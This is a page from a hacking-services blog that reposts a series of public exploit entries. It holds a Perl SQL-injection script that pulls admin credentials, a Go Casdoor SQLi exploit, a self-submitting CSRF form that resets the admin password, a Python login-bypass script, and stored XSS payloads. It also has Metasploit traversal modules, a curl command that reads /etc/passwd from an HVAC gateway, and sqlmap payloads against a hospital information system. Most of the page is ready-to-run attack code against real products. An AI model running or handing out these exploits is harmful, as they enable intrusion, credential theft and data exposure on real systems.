Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863131000

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/perl -w
# # # # # 
# Exploit Title: Cash Back Comparison Script 1.0 - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://cashbackcomparisonscript.com/
# Software Link: http://cashbackcomparisonscript.com/demo/features/
# Demo: http://www.cashbackcomparison.info/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14703
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
                   #### ##     ##  ######     ###    ##    ## 
                    ##  ##     ## ##    ##   ## ##   ###   ## 
                    ##  ##     ## ##        ##   ##  ####  ## 
                    ##  #########  ######  ##     ## ## ## ## 
                    ##  ##     ##       ## ######### ##  #### 
                    ##  ##     ## ##    ## ##     ## ##   ### 
                   #### ##     ##  ######  ##     ## ##    ## 

             ######  ######## ##    ##  ######     ###    ##    ## 
            ##    ## ##       ###   ## ##    ##   ## ##   ###   ## 
            ##       ##       ####  ## ##        ##   ##  ####  ## 
             ######  ######   ## ## ## ##       ##     ## ## ## ## 
                  ## ##       ##  #### ##       ######### ##  #### 
            ##    ## ##       ##   ### ##    ## ##     ## ##   ### 
             ######  ######## ##    ##  ######  ##     ## ##    ##                                                                            
                 Cash Back Comparison Script 1.0 - SQL Injection           
################################################################################
";
use LWP::UserAgent;
print "\nInsert Target:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$cc="/*!01116concat*/(0x3c74657874617265613e,0x557365726e616d653a,username,0x20,0x506173733a,password,0x3c2f74657874617265613e)";
$tt="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0');
$host = $target . "search/EfE'+/*!01116UNIoN*/+/*!01116SeLecT*/+0x31,0x32,0x33,0x34,0x35,0x36,".$cc.",0x38/*!50000FrOm*/".$tt."--+-.html";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<textarea>(.*?)<\/textarea>/){
print "[+] Success !!!\n";
print "\n[+] Admin Detail : $1\n";
print "\n[+]$target/admin/login.php\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
HireHackking 
// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated) 
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
	"flag"
	"fmt"
	"html"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"strings"
)

func main() {
	var url string
	flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
	flag.Parse()

	banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=- 
- by Mayank Deshmukh (ColdFusionX)

`
	fmt.Printf(banner)
	fmt.Println("[*] Dumping Database Version")
	response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

	if err != nil {
		panic(err)
	}

	defer response.Body.Close()

	databytes, err := ioutil.ReadAll(response.Body)

	if err != nil {
		panic(err)
	}

	content := string(databytes)

	re := regexp.MustCompile("(?i)(XPATH syntax error.*&#39)")

	result := re.FindAllString(content, -1)
	
	sqliop := fmt.Sprint(result)
	replacer := strings.NewReplacer("[", "", "]", "", "&#39", "", ";", "")
	
	finalop := replacer.Replace(sqliop)
	fmt.Println(html.UnescapeString(finalop))


	if result == nil {
		fmt.Printf("Application not vulnerable\n")
		os.Exit(1)
	}

}
HireHackking 
# Exploit Title: Casdoor < v1.331.0 - '/api/set-password' CSRF
# Application: Casdoor
# Version: <= 1.331.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Tested on: Windows
# CVE : CVE-2023-34927

Overview
==================================================
Casdoor v1.331.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked
HireHackking 
# Exploit Title: CASAP Automated Enrollment System 1.0 - Authentication Bypass
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.0
# Tested On: Ubuntu + XAMPP 7.4.4
# Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass Using SQLi


#STEP 1 : Run The Exploit With This Command : python3 exploit.py <URL>
# For Example: python3 exploit.py http://10.9.67.23/final/
#STEP 2 : Open the Link Provided At The End After Successful Authentication Bypass in Browser. 


import time
import sys
import requests


YELLOW =  '\033[33m' # Yellow Text
GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+'      _          ______  _               _  ___           ', RESET)
print(YELLOW+'  ___| |_ ___   / / ___|| |__   __ _  __| |/ _ \__      __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'|  __/ || (__ / /  ___) | | | | (_| | (_| | |_| |\ V  V / ', RESET)
print(YELLOW+' \___|\__\___/_/  |____/|_| |_|\__,_|\__,_|\___/  \_/\_/  ', RESET)
print(YELLOW+" ", RESET)                                                          
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('!!!       CASAP AUTOMATED ENROLLMENT SYSTEM 1.0        !!!')
print('!!!               AUTHENTICATION BYPASS                !!!')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')

print('Author - Himanshu Shukla')


def authbypass(url):

	#Authentication Bypass
	s = requests.Session() 
	#Set Cookie
	cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}


	print ("[*]Attempting Authentication Bypass...")
	time.sleep(1)

	values = {"username":"'or 1 or'","password":""}
	r=s.post(url+'login.php', data=values, cookies=cookies) 
	p=s.get(url+'dashboard.php', cookies=cookies) 

	#Check if Authentication was bypassed or not.
	logged_in = True if ("true_admin" in r.text) else False
	l=logged_in
	if l:
		print(GREEN+"[+]Authentication Bypass Successful!", RESET)
		print(YELLOW+"[+]Open This Link To Continue As Admin : "+url+"dashboard.php", RESET)
	else:
		print(RED+"[-]Failed To Authenticate!", RESET)
		print(RED+"[-]Check Your URL", RESET)


if __name__ == "__main__":


	if len(sys.argv)!=2:
		print(RED+"You Haven't Provided any URL!", RESET)
		print("Usage : python3 exploit.py <URL>")
		print("Example : python3 exploit.py http://10.9.7.3/final/")
		exit()

	try:

		authbypass(sys.argv[1])

	except:

		print(RED+"[-]Invalid URL!", RESET)
		exit()
HireHackking 
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'route' Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-01/23
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps to reproduce
# 1. login bypass username: admin, password: `' or 1=1#
# 2. Studants > Edit > "ROUTE" field enter.. "<script>alert(document.cookie)</script>
# Save, reload page, exploited stored XXS


POST /Final/update_student.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 297
Origin: http://TARGET
Connection: close
Referer: http://TARGET/Final/edit_stud.php?id=6
Cookie: PHPSESSID=97qoeda9h6djjis5gbr00p7ndc

student_id=6&status=half&fname=Ronel&mname=G.&lname=Ortega&gender=Male&dob=1999-06-16&address=Prk.1+brgy.banago+bacolod+city&student_class=ICT+-+Computer+Programming&transport=yes&route=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&gfname=Juanita&gmname=S.&glname=a&rship=Mother&tel=0912312445
HireHackking 
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Exploit Author: Anita Gaud
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1
# Tested on Windows
# CVE: CVE-2021-3294

*XSS IMPACT:*
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: First Name

*Steps to reproduce:*
1: Log in with a valid username and password. Navigate to the Users tab (http://localhost/Final/Final/users.php) on the left-hand side.
2: Add the new user and then add the payload <script>alert(document.cookie)</script>in First Name parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time and the attacker can steal authenticated users' cookies.
HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Carlo Gavazzi Powersoft Directory Traversal',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability
				found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
				is triggered when sending a specially crafted GET request to the
				server. The location parameter of the GET request is not sanitized
				and the sendCommand.php script will automatically pull down any
				file requested
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://gleg.net/agora_scada_upd.shtml']
				],
			'DisclosureDate' => 'Jan 21 2015'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
				OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	require 'base64'

	credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("../" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "#{levels}#{datastore['FILE']}?res=&valid=true",
		'headers'	=>	{
			'Authorization'	=>	"Basic #{credentials}"
		},
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end
HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Carel Pl@ntVisor Directory Traversal',
			'Description'    => %q{
				This module exploits a directory traversal vulnerability
				found in Carel Pl@ntVisor <= 2.4.4. The vulnerability is
				triggered by sending a specially crafted GET request to the
				victim server.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-3487' ],
					[ 'BID', '49601' ],
				],
			'DisclosureDate' => 'Jun 29 2012'))

		register_options(
			[
				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
				Opt::RPORT(80)
			], self.class )
	end

	def run

	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
	levels = "/" + ("..%5c" * depth)

	res = send_request_raw({
		'method'	=> 'GET',
		'uri'		=> "#{levels}#{datastore['FILE']}",
	})

	if res and res.code == 200
		loot = res.body
		if not loot or loot.empty?
			print_status("File from #{rhost}:#{rport} is empty...")
			return
		end
		file = ::File.basename(datastore['FILE'])
		path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
		print_status("Stored #{datastore['FILE']} to #{path}")
		return
	end

	end
end
HireHackking 
#######################################################################

                             Luigi Auriemma

Application:  Carel PlantVisor
              http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
Versions:     <= 2.4.4
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"PlantVisor Enhanced is monitoring and telemaintenance software for
refrigeration and air-conditioning systems controlled by CAREL
instruments."


#######################################################################

======
2) Bug
======


CarelDataServer.exe is a web server listening on port 80.

The software is affected by a directory traversal vulnerability that
allows to download the files located on the disk where it's installed.
Both slash and backslash and their HTTP encoded values are supported.


#######################################################################

===========
3) The Code
===========


http://SERVER/..\..\..\..\..\..\boot.ini
http://SERVER/../../../../../../boot.ini
http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
HireHackking 
# Exploit Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal
# Exploit Author: LiquidWorm


Vendor: CAREL INDUSTRIES S.p.A.
Product web page: https://www.carel.com
Affected version: Firmware: A2.1.0 - B2.1.0
                  Application Software: 2.15.4A
                  Software version: v16 13020200

Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
applications and systems. It consists of programmable controllers, user interfaces,
gateways and communication interfaces, remote management systems to offer the OEMs
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
to the more widely-used Building Management Systems, and can also be integrated into
proprietary supervisory systems.

Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
is not properly verified before being used to download log files. This can be exploited
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

=======================================================================================
/usr/local/www/usr-cgi/logdownload.cgi:
---------------------------------------

01: #!/bin/bash
02:
03: if [ "$REQUEST_METHOD" = "POST" ]; then
04:         read QUERY_STRING
05:         REQUEST_METHOD=GET
06:         export REQUEST_METHOD
07:         export QUERY_STRING
08: fi
09:
10: LOGDIR="/usr/local/root/flash/http/log"
11:
12: tmp=${QUERY_STRING%"$"*}
13: cmd=${tmp%"="*}
14: if [ "$cmd" = "dir" ]; then
15:         PATHCURRENT=$LOGDIR/${tmp#*"="}
16: else
17:         PATHCURRENT=$LOGDIR
18: fi
19:
20: tmp=${QUERY_STRING#*"$"}
21: cmd=${tmp%"="*}
22: if [ "$cmd" = "file" ]; then
23:         FILECURRENT=${tmp#*"="}
24: else
25:         if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
26:                 FILECURRENT=lastlog.csv.gz
27:         else
28:                 FILECURRENT=lastlog.csv
29:         fi
30: fi
31:
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
33:         echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
34:         cat carel.inc.html
35:         echo "<center>File not available!</center>"
36:         cat carel.bottom.html
37:         exit
38: fi
39:
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
41:         if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
42:                 if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
43:                         echo -ne "Content-Type: text/csv\r\n"
44:                 else
45:                         echo -ne "Content-Type: image/svg+xml\r\n"
46:                 fi
47:         else
48:                 echo -ne "Content-Type: image/bmp\r\n"
49:         fi
50: else
51:         echo -ne "Content-Type: application/x-gzip\r\n"
52: fi
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
54:
55: cat $PATHCURRENT/$FILECURRENT

=======================================================================================

Tested on: GNU/Linux 4.11.12 (armv7l)
           thttpd/2.29


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5709
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php


10.05.2022

--


$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
guest:x:502:101::/home/guest:/bin/bash
carel:x:500:500:Carel:/home/carel:/bin/bash
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
sshd:x:1000:1001:SSH drop priv user:/:/bin/false
HireHackking 
# Exploit Title: Carel pCOWeb - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.carel.com/
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card

# 1. Description:
# In Carel pCOWeb web page,
# user can modify the system configuration by access the /config/pw_snmp.html.
# Attackers can inject malicious XSS code in post data.
# The XSS code will be stored in database, so that cause a stored XSS vulnerability.

# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/config/pw_snmp.html
# Send this post data:
%3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E
# The post data in URL decode format is:
?script:setdb('snmp','syscontact')="><script>alert(123)</script>
HireHackking 
# Exploit Title: Carel pCOWeb - Unprotected Storage of Credentials
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.carel.com/
# Version: Carel pCOWeb all versions prior to B1.2.1
# Tested on: It is a proprietary devices: http://www.carel.com/product/pcoweb-card

# 1. Description:
# The devices, Carel pCOWeb, store plaintext passwords,
# which may allow sensitive information to be read by someone with access to the device.

# 2. Proof of Concept:
# Browse the maintain user page in website:
# http://<Your<http://%3cYour> Modem IP>/config/pw_changeusers.html
# The user's information include Description, Username and Password.
# In user page, we can find out that user passwords stored in plaintext.
HireHackking 
Exploit Title: Caregiver Script v2.57 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/caregiver-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Caregiver Script 2.51 is the best solution to launch a portal for hiring people for babysitting and other care giving services in a hassle free manner.

Type of vulnerability:

An SQL Injection vulnerability in Caregiver Script allows attackers to read
arbitrary administrator data from the database.

Vulnerable Url:

http://locahost/searchJob.php?sitterService=1[payload]
Vulnerable parameter : sitterService
Mehod : GET
HireHackking 
# Exploit Title: Career Portal v1.0 - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Software Link: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-17

Product & Service Introduction:
===============================
Career Portal is developed for creating an interactive job vacancy for candidates.

Technical Details & Description:
================================

SQL injection on [keyword] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/job

Parameter: keyword (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keyword=s_term') AND (SELECT 8133 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(8133=8133,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('kRoT'='kRoT&location_name[]=

    Type: UNION query
    Title: Generic UNION query (NULL) - 25 columns
    Payload: keyword=s_term') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6a7171,0x594547646454726868515056467764674e59726f4252436844774f41704a507353574e4b6d5a5973,0x71787a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- zANd&location_name[]=

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
# Date: 13.08.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

Stored Cross Site Scripting(XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. The vulnerability has found POST requests in /modules/registration_admission/patient_register.php page with "name_middle", "addr_str", "station", "name_maiden", "name_2", "name_3" parameters.


Example: /modules/registration_admission/patient_register.php POST request

Content-Disposition: form-data; name="date_reg"

2021-07-29 12:15:59
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="title"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_last"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_first"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_2"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_3"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_middle"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_maiden"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_others"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="date_birth"

05/07/2021
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="sex"

m
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str_nr"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_zip"

XSS
---------------------
 
If an attacker exploit this vulnerability, takeover any account wants.

Payload Used:

"><script>alert(document.cookie)</script>

EXPLOITATION

1- Login to Care2x Panel
2- /modules/registration_admission/patient_register.php
3- Use the payload vulnerable parameters.


ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''
HireHackking 
# Exploit Title: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
# Date: 29.07.2021
# Exploit Author: securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

DESCRIPTION

In Care2x < 2.7 Alpha, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the "pday", "pmonth", "pyear" parameters.

The vulnerability is found in the "pday", "pmonth", "pyear" parameters in GET request sent to page "nursing-station.php".

Example:

/nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=123123&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= 

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=station&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= HTTP/1.1
# Host: Target

Sqlmap command: sqlmap.py -r request.txt --level 5 --risk 3 -p year --random-agent --dbs 

Payload1: pyear=2021') RLIKE (SELECT (CASE WHEN (9393=9393) THEN 2021 ELSE 0x28 END)) AND ('LkYl'='LkYl
Payload2: pyear=2021') AND (SELECT 4682 FROM (SELECT(SLEEP(5)))wZGc) AND ('dULg'='dULg
HireHackking 
# Exploit Title: Care2x 2.7  (HIS) Hospital Information system - Multiples SQL Injection
# Date: 01/17/2019
# Software Links/Project: https://github.com/care2x/care2x | http://www.care2x.org/
# Version: Care2x 2.7
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
Care2x is PHP based Hospital Information system, It features complete clinical flow management, laboratory management, patient records, multi-user support with permissions, stock management and accounting and billing management, PACS integration and DICOM viewer. Care2x provides some other features as CCTV integration which has not been seen in other open source HIS.

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over the same input.

It written in PHP version 5.x, it is vulnerable to SQL Injection. The parameter on cookie 'ck_config' is vulnerable on multiples URLS occurrences, explains to continue:

http://192.168.0.108/main/login.php [parameter affected: ck_config cookie] (without authentication)


	/main/indexframe.php [parameter affected: ck_config cookie]
	/main/op-doku.php [parameter affected: ck_config cookie]
	/main/spediens.php [parameter affected: ck_config cookie]
	/modules/ambulatory/ambulatory.php [parameter affected: ck_config cookie]
	/modules/fotolab/fotolab_pass.php [parameter affected: ck_config cookie]
	/modules/laboratory/labor.php [parameter affected: ck_config cookie]
	/modules/med_depot/medlager.php [parameter affected: ck_config cookie]
	/modules/news/headline-read.php [parameter affected: nr parameter]
	/modules/news/newscolumns.php [parameter affected: dept_nr parameter]
	/modules/news/start_page.php [parameter affected: sid cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: currYear parameter]
	/modules/nursing/nursing-patient-such-start.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-schnellsicht.php [parameter affected: ck_config cookie]
	/modules/registration_admission/patient_register_pass.php [parameter affected: ck_config cookie]


2. Proof of Concept

GET /main/login.php?ntid=false&lang=en HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.108/main/indexframe.php?boot=1&mask=&lang=en&cookie=&sid=6fclqapl9gsjhrcgoh3q0la5sp
Connection: close
Cookie: sid=6fclqapl9gsjhrcgoh3q0la5sp; ck_sid6fclqapl9gsjhrcgoh3q0la5sp=m14AAA%3D%3D%23WVUYpUnF%2Fo28ZWY45A5Sh9HMvr%2FZ8wVabFY%3D; ck_config=CFG5c414492459f90.28518700%201547781266
Upgrade-Insecure-Requests: 1


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -f -v 2 --level 3 -p ck_config


[14:18:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[14:18:15] [INFO] testing MySQL
[14:18:16] [INFO] confirming MySQL
[14:18:19] [INFO] the back-end DBMS is MySQL
[14:18:19] [INFO] actively fingerprinting MySQL
[14:18:20] [INFO] executing MySQL comment injection fingerprint
[14:18:33] [DEBUG] turning off reflection removal mechanism (for optimization purposes)
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.7.24


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -v 2 --level 3 -p ck_config --dbs

[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 4 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: care2x
